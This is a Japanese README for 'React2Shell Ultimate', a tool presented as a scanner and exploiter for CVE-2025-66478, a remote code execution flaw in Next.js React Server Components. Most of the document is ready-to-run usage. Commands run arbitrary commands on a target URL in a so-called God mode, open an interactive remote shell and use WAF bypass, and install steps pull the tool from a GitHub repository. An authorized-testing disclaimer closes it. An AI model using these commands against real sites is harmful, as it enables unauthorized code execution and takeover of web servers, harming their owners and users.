
複数のスキャンモード、WAFバイパス、インタラクティブシェル、および認可されたペネトレーションテスト用のバッチスキャンを備えたNext.js RSC RCE脆弱性スキャナー。
CVE-2025-66478 に対するプロフェッショナル Next.js RSC RCE 脆弱性スキャナー
React2Shell Ultimate は、React Server Components (RSC) を使用する Next.js アプリケーションに影響する重大なリモートコード実行 (RCE) 脆弱性 CVE-2025-66478 向けの包括的な脆弱性スキャナーです。
バージョン 2.0 では、大幅な機能強化とプロフェッショナル機能が追加されました:
# 基本スキャン
python3 react2shell-ultimate.py -u https://target.com
# RCE モード
python3 react2shell-ultimate.py -u https://target.com --mode rce
# コマンド実行 (God モード)
python3 react2shell-ultimate.py -u https://target.com --exec "id"
# 対話型シェル
python3 react2shell-ultimate.py -u https://target.com --shell
# リポジトリのクローン
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# 依存関係のインストール
pip3 install -r requirements.txt
# スクリプトを実行可能にする
chmod +x react2shell-ultimate.py
# インストールの確認
python3 react2shell-ultimate.py --version
必要条件:
プロフェッショナルな Web インターフェースで React2Shell Ultimate を体験:
Web の機能:
許可されたセキュリティテストのみに使用してください
このツールは以下のために設計されています:
このツールの誤用については、すべての責任はあなたにあります。
Satyam Rastogi